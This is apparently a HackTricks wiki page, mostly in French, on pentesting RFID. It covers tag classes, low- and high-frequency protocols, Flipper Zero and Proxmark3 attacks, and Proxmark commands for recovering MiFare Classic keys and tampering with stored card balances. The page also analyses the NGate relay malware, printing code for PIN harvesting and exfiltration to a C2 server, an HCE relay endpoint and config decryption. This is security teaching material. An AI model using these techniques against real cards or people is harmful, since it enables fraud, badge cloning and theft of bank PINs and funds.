Pentesting RFID

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Introduction

Radio Frequency Identification (RFID) est la solution radio courte portée la plus répandue. Elle est généralement utilisée pour stocker et transmettre des informations qui identifient une entité.

Une Ă©tiquette RFID peut s’appuyer sur sa propre source d’alimentation (active), comme une batterie intĂ©grĂ©e, ou recevoir son alimentation depuis l’antenne de lecture grĂące au courant induit par les ondes radio reçues (passive).

Classes

EPCglobal divise les tags RFID en six catégories. Un tag de chaque catégorie possÚde toutes les capacités listées dans la catégorie précédente, ce qui le rend rétrocompatible.

  • Class 0 tags are passive tags that operate in UHF bands. The vendor preprograms them at the production factory. As a result, you can’t change the information stored in their memory.
  • Class 1 tags can also operate in HF bands. In addition, they can be written only once after production. Many Class 1 tags can also process cyclic redundancy checks (CRCs) of the commands they receive. CRCs are a few extra bytes at the end of the commands for error detection.
  • Class 2 tags can be written multiple times.
  • Class 3 tags can contain embedded sensors that can record environmental parameters, such as the current temperature or the tag’s motion. These tags are semi-passive, because although they have an embedded power source, such as an integrated battery, they can’t initiate wireless communication with other tags or readers.
  • Class 4 tags can initiate communication with other tags of the same class, making them active tags.
  • Class 5 tags can provide power to other tags and communicate with all the previous tag classes. Class 5 tags can act as RFID readers.

Informations stockées dans les tags RFID

La mĂ©moire d’un tag RFID stocke gĂ©nĂ©ralement quatre types de donnĂ©es : les donnĂ©es d’identification, qui identifient l’entitĂ© Ă  laquelle le tag est attachĂ© (ces donnĂ©es incluent des champs dĂ©finis par l’utilisateur, comme des comptes bancaires) ; les donnĂ©es supplĂ©mentaires, qui fournissent des informations complĂ©mentaires concernant l’entitĂ© ; les donnĂ©es de contrĂŽle, utilisĂ©es pour la configuration interne du tag ; et les donnĂ©es fabricant, qui contiennent l’Unique Identifier (UID) du tag et des informations sur la production, le type et le vendeur du tag. Les deux premiers types de donnĂ©es se retrouvent dans tous les tags commerciaux ; les deux derniers peuvent varier selon le fournisseur du tag.

La norme ISO spĂ©cifie la valeur Application Family Identifier (AFI), un code qui indique le type d’objet auquel le tag appartient. Un autre registre important, Ă©galement spĂ©cifiĂ© par ISO, est le Data Storage Format Identifier (DSFID), qui dĂ©finit l’organisation logique des donnĂ©es utilisateur.

La plupart des mĂ©canismes de sĂ©curitĂ© RFID restreignent les opĂ©rations de lecture ou d’écriture sur chaque bloc mĂ©moire utilisateur ainsi que sur les registres spĂ©ciaux contenant les valeurs AFI et DSFID. Ces mĂ©canismes de verrouillage utilisent des donnĂ©es stockĂ©es dans la mĂ©moire de contrĂŽle et ont des mots de passe par dĂ©faut prĂ©configurĂ©s par le fabricant, mais permettent aux propriĂ©taires des tags de configurer des mots de passe personnalisĂ©s.

Comparaison des tags basse et haute fréquence

Low-Frequency RFID Tags (125kHz)

Les tags basse frĂ©quence sont souvent utilisĂ©s dans des systĂšmes qui n’exigent pas une sĂ©curitĂ© Ă©levĂ©e : contrĂŽle d’accĂšs aux bĂątiments, interphones, cartes d’abonnement de salle de sport, etc. En raison de leur portĂ©e plus Ă©levĂ©e, ils sont pratiques pour les parkings payants : le conducteur n’a pas besoin d’approcher la carte du lecteur, car elle est dĂ©tectĂ©e de plus loin. En mĂȘme temps, les tags basse frĂ©quence sont trĂšs primitifs et ont un faible dĂ©bit de donnĂ©es. Pour cette raison, il est impossible d’implĂ©menter des Ă©changes de donnĂ©es bidirectionnels complexes pour des fonctions comme la gestion de solde ou la cryptographie. Les tags basse frĂ©quence ne transmettent que leur identifiant court sans aucun moyen d’authentification.

Ces dispositifs reposent sur la technologie RFID passive et opùrent dans une plage de 30 kHz à 300 kHz, bien qu’il soit plus courant d’utiliser 125 kHz à 134 kHz :

  • Long Range — une frĂ©quence plus basse se traduit par une portĂ©e plus grande. Il existe des lecteurs EM-Marin et HID fonctionnant Ă  une distance allant jusqu’à un mĂštre. Ils sont souvent utilisĂ©s dans les parkings.
  • Primitive protocol — en raison du faible dĂ©bit de donnĂ©es, ces tags ne peuvent transmettre que leur identifiant court. Dans la plupart des cas, les donnĂ©es ne sont pas authentifiĂ©es et ne sont protĂ©gĂ©es d’aucune maniĂšre. DĂšs que la carte est Ă  portĂ©e du lecteur, elle commence simplement Ă  transmettre son ID.
  • Low security — Ces cartes peuvent ĂȘtre facilement copiĂ©es, ou mĂȘme lues dans la poche de quelqu’un d’autre Ă  cause du cĂŽtĂ© primitif du protocole.

Popular 125 kHz protocols:

  • EM-Marin — EM4100, EM4102. Le protocole le plus populaire dans la CIS. Peut ĂȘtre lu Ă  environ un mĂštre grĂące Ă  sa simplicitĂ© et sa stabilitĂ©.
  • HID Prox II — protocole basse frĂ©quence introduit par HID Global. Ce protocole est plus rĂ©pandu dans les pays occidentaux. Il est plus complexe et les cartes et lecteurs pour ce protocole sont relativement chers.
  • Indala — protocole basse frĂ©quence trĂšs ancien introduit par Motorola, puis acquis par HID. Vous ĂȘtes moins susceptible de le rencontrer sur le terrain comparĂ© aux deux prĂ©cĂ©dents car il tend Ă  disparaĂźtre.

En rĂ©alitĂ©, il existe beaucoup d’autres protocoles basse frĂ©quence. Mais ils utilisent tous la mĂȘme modulation au niveau physique et peuvent ĂȘtre considĂ©rĂ©s, d’une maniĂšre ou d’une autre, comme des variantes de ceux listĂ©s ci-dessus.

Attack

Vous pouvez attaquer ces Tags avec le Flipper Zero :

FZ - 125kHz RFID

High-Frequency RFID Tags (13.56 MHz)

Les tags haute frĂ©quence sont utilisĂ©s pour une interaction lecteur-tag plus complexe lorsque vous avez besoin de cryptographie, d’un transfert de donnĂ©es bidirectionnel important, d’authentification, etc.
On les trouve gĂ©nĂ©ralement dans les cartes bancaires, les transports publics et d’autres passes sĂ©curisĂ©s.

Les tags haute frĂ©quence 13.56 MHz sont un ensemble de normes et de protocoles. On les dĂ©signe souvent par NFC, mais ce n’est pas toujours correct. L’ensemble de protocoles de base utilisĂ© aux niveaux physique et logique est ISO 14443. Les protocoles de haut niveau, ainsi que des normes alternatives (comme ISO 19092), s’appuient sur celui-ci. Beaucoup de gens appellent cette technologie Near Field Communication (NFC), un terme pour les dispositifs opĂ©rant sur la frĂ©quence 13.56 MHz.

Pour simplifier, l’architecture NFC fonctionne ainsi : le protocole de transmission est choisi par l’entreprise qui fabrique les cartes et implĂ©mentĂ© sur la base du niveau bas ISO 14443. Par exemple, NXP a inventĂ© son propre protocole de transmission de haut niveau appelĂ© Mifare. Mais au niveau infĂ©rieur, les cartes Mifare sont basĂ©es sur la norme ISO 14443-A.

Flipper peut interagir Ă  la fois avec le protocole bas niveau ISO 14443, ainsi qu’avec le protocole de transfert de donnĂ©es Mifare Ultralight et EMV utilisĂ© dans les cartes bancaires. Nous travaillons Ă  ajouter le support pour Mifare Classic et NFC NDEF. Un examen approfondi des protocoles et standards qui composent NFC mĂ©rite un article sĂ©parĂ© que nous prĂ©voyons de publier ultĂ©rieurement.

Toutes les cartes haute frĂ©quence basĂ©es sur la norme ISO 14443-A ont un identifiant de puce unique. Il sert de numĂ©ro de sĂ©rie de la carte, comme l’adresse MAC d’une carte rĂ©seau. GĂ©nĂ©ralement, l’UID fait 4 ou 7 octets, mais il peut rarement aller jusqu’à 10. Les UID ne sont pas secrets et sont facilement lisibles, parfois mĂȘme imprimĂ©s sur la carte elle-mĂȘme.

De nombreux systĂšmes de contrĂŽle d’accĂšs reposent sur l’UID pour authentifier et accorder l’accĂšs. Parfois cela se produit mĂȘme lorsque les tags RFID supportent la cryptographie. Un tel mauvais usage les ramĂšne au niveau des simples cartes 125 kHz en termes de sĂ©curitĂ©. Les cartes virtuelles (comme Apple Pay) utilisent un UID dynamique afin que les propriĂ©taires de tĂ©lĂ©phones n’ouvrent pas des portes avec leur application de paiement.

  • Low range — les cartes haute frĂ©quence sont spĂ©cialement conçues pour devoir ĂȘtre placĂ©es prĂšs du lecteur. Cela aide aussi Ă  protĂ©ger la carte des interactions non autorisĂ©es. La portĂ©e de lecture maximale que nous avons rĂ©ussi Ă  obtenir Ă©tait d’environ 15 cm, et c’était avec des lecteurs haute portĂ©e faits sur mesure.
  • Advanced protocols — des vitesses de transfert jusqu’à 424 kbps permettent des protocoles complexes avec un transfert de donnĂ©es bidirectionnel complet. Ce qui permet la cryptographie, le transfert de donnĂ©es, etc.
  • High security — les cartes sans contact haute frĂ©quence n’ont rien Ă  envier aux smart cards. Il existe des cartes qui supportent des algorithmes cryptographiquement forts comme AES et implĂ©mentent la cryptographie asymĂ©trique.

Attack

Vous pouvez attaquer ces Tags avec le Flipper Zero :

FZ - NFC

Or using the proxmark:

Proxmark 3

MiFare Classic offline stored-value tampering (broken Crypto1)

When a system stores a monetary balance directly on a MiFare Classic card, you can often manipulate it because Classic uses NXP’s deprecated Crypto1 cipher. Crypto1 has been broken for years, allowing recovery of sector keys and full read/write of card memory with commodity hardware (e.g., Proxmark3).

End-to-end workflow (abstracted):

  1. Dump the original card and recover keys
# Attempt all built-in Classic key recovery attacks and dump the card
hf mf autopwn

Cela récupÚre généralement les clés de secteur (A/B) et génÚre un dump complet de la carte dans le dossier client dumps.

  1. Localiser et comprendre les champs value/integrity
  • Effectuez des recharges lĂ©gitimes sur la carte originale et prenez plusieurs dumps (avant/aprĂšs).
  • Faites un diff des deux dumps pour identifier les blocks/bytes qui changent et qui reprĂ©sentent le solde et les Ă©ventuels champs d’intĂ©gritĂ©.
  • De nombreux dĂ©ploiements Classic utilisent soit l’encodage natif “value block”, soit implĂ©mentent leurs propres checksums (p.ex. XOR du solde avec un autre champ et une constante). AprĂšs avoir modifiĂ© le solde, recalculer les bytes d’intĂ©gritĂ© en consĂ©quence et assurez-vous que tous les champs dupliquĂ©s/complĂ©mentĂ©s sont cohĂ©rents.
  1. Écrire le dump modifiĂ© sur une Classic tag “Chinese magic” inscriptible
# Load a modified binary dump onto a UID-changeable Classic tag
hf mf cload -f modified.bin
  1. Cloner l’UID original pour que les terminaux reconnaissent la carte
# Set the UID on a UID-changeable tag (gen1a/gen2 magic)
hf mf csetuid -u <original_uid>
  1. Utilisation aux terminaux

Les lecteurs qui font confiance au solde stocké sur la carte et au UID accepteront la carte manipulée. Les observations de terrain montrent que de nombreuses installations plafonnent les soldes en fonction de la largeur du champ (par ex., virgule fixe 16-bit).

Notes

  • If the system uses native Classic value blocks, remember the format: value (4B) + ~value (4B) + value (4B) + block address + ~address. All parts must match.
  • Pour les formats personnalisĂ©s avec des checksums simples, l’analyse diffĂ©rentielle est le moyen le plus rapide pour dĂ©river la fonction d’intĂ©gritĂ© sans reverse-engineering du firmware.
  • Only UID-changeable tags (“Chinese magic” gen1a/gen2) allow writing block 0/UID. Normal Classic cards have read-only UIDs.

For hands-on Proxmark3 commands, see:

Proxmark 3

Construire un cloner mobile portable HID MaxiProx 125 kHz

Si vous avez besoin d’une solution Ă  longue portĂ©e, alimentĂ©e par batterie pour harvesting des badges HID ProxÂź lors d’engagements red-team, vous pouvez convertir le lecteur mural HID MaxiProx 5375 en un cloner autonome qui tient dans un sac Ă  dos. La procĂ©dure complĂšte mĂ©canique et Ă©lectrique est disponible ici:

Maxiprox Mobile Cloner

Relais NFC/EMV via Android Reader↔HCE Emitter

Un relai EMV Classic peut ĂȘtre implĂ©mentĂ© avec 2 appareils Android : un reader cĂŽtĂ© victime qui capture les APDUs en direct et le PIN d’une carte rĂ©elle, et un Ă©metteur HCE cĂŽtĂ© attaquant au terminal qui retransmet les APDUs en amont. Le kit NGate analysĂ© abuse des API NFC Android lĂ©gitimes et d’un simple C2 TCP framed pour orchestrer des cash-outs ATM en temps rĂ©el.

Key building blocks

  • Reader-mode app (victim): utilise les NFC reader APIs pour analyser l’EMV (PAN/expiry/AIDs), affiche le scheme selon l’AID, demande le PIN et exfiltre immĂ©diatement.
  • Emitter-mode app (ATM side): implĂ©mente Host Card Emulation (HCE) avec android:requireDeviceUnlock="false" et un payment AID; processCommandApdu() achemine les APDUs vers le C2 et renvoie une rĂ©ponse minimale.
  • Wire protocol: trames prĂ©fixĂ©es par la longueur, keepalive pĂ©riodique; optionally TLS.

Android surface (Manifest/HCE)

<uses-permission android:name="android.permission.NFC"/>
<uses-permission android:name="android.permission.INTERNET"/>
<service android:name=".nfc.hce.ApduService"
android:permission="android.permission.BIND_NFC_SERVICE"
android:exported="true">
<intent-filter>
<action android:name="android.nfc.cardemulation.action.HOST_APDU_SERVICE"/>
<category android:name="android.intent.category.DEFAULT"/>
</intent-filter>
<meta-data android:name="android.nfc.cardemulation.host_apdu_service"
android:resource="@xml/hce"/>
</service>

Exemple hce.xml (sans déverrouillage + payment AID)

<host-apdu-service android:requireDeviceUnlock="false"
android:description="relay">
<aid-group android:category="other">
<aid-filter android:name="F001020304050607"/>
</aid-group>
<aid-group android:category="payment">
<aid-filter android:name="F001020304050607"/>
</aid-group>
</host-apdu-service>

Point de relais transparent (HCE)

@Override public byte[] processCommandApdu(byte[] apdu, Bundle extras) {
Log.d("ApduService", "APDU-IN: " + toHex(apdu));
bus.forward(apdu); // send upstream to C2/reader
return new byte[0]; // empty response, pure relay endpoint
}

Inférence du scheme EMV par AID (exemples)

  • A000000004 → Mastercard
  • A000000003 → Visa
  • A000000658 → MIR
  • A000000333 → UnionPay

Schéma de PIN harvesting (UI victime)

// Custom keypad publishes when required length (e.g., 4) is reached
if (pin.length() == 4) postDelayed(() -> bus.publish(pin), 100L);
// Network immediately exfiltrates via dedicated opcode
send(OP_PIN_REQ, pin.getBytes(StandardCharsets.UTF_8));

Framed C2 (cleartext example)

  • Client→Serveur: int32 len | int32 opcode | body
  • Serveur→Client: int32 len | body (opcode Ă  l’intĂ©rieur du payload)
  • Refuser les bodies > ~100 MiB ; keepalive ~7s (PING)
// send
out.writeInt(body.length); out.writeInt(op); out.write(body); out.flush();
// recv
int len = in.readInt(); byte[] body = new byte[len]; in.readFully(body);

Dissimulation de la configuration : XOR dérivé du certificat

  • Native lib dĂ©rive une clĂ© de 32 octets comme SHA‑256 du certificat de signature de l’app (DER).
  • La config C2 est en ASCII‑hex dans assets (par ex., assets/____), dĂ©codĂ©e de l’hex et XOR‑ée avec la clĂ© rĂ©pĂ©tĂ©e tous les 32 octets :
for (size_t i = 0; i < len; i++) pt[i] = ct[i] ^ key[i & 31];

PoC hors ligne pour déchiffrer la config

# Extract signing cert digest
apksigner verify --print-certs sample.apk
# "Signer #1 certificate SHA-256 digest: <hex>"
import pathlib
key = bytes.fromhex("<sha256_of_signing_cert>")
ct  = bytes.fromhex(pathlib.Path("/path/to/assets/____").read_text().strip())
pt  = bytes(c ^ key[i % 32] for i, c in enumerate(ct))
print(pt.decode("utf-8", errors="replace"))

Sample decrypted fields: host, port, sharedToken, tls, mode, reader, uniqueID, ttd.

ChaĂźne de relais (de bout en bout)

  1. La victime installe l’APK, ouvre l’application → l’init native dĂ©crypte la config depuis assets.
  2. L’application se connecte au C2 (p. ex., 91.84.97.13:5653) en utilisant framed TCP ; keepalive ~7s.
  3. La victime approche la carte → le reader extrait PAN/expiry/AIDs et envoie CARD_DISCOVERED.
  4. La victime saisit le PIN → le keypad publie et exfiltre via PIN_REQ ; le serveur rĂ©pond VALID/INVALID uniquement pour l’UI.
  5. Le dispositif de l’attaquant au terminal exĂ©cute un Ă©metteur HCE relayant les APDUs vers l’ATM et effectue le cash-out.

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks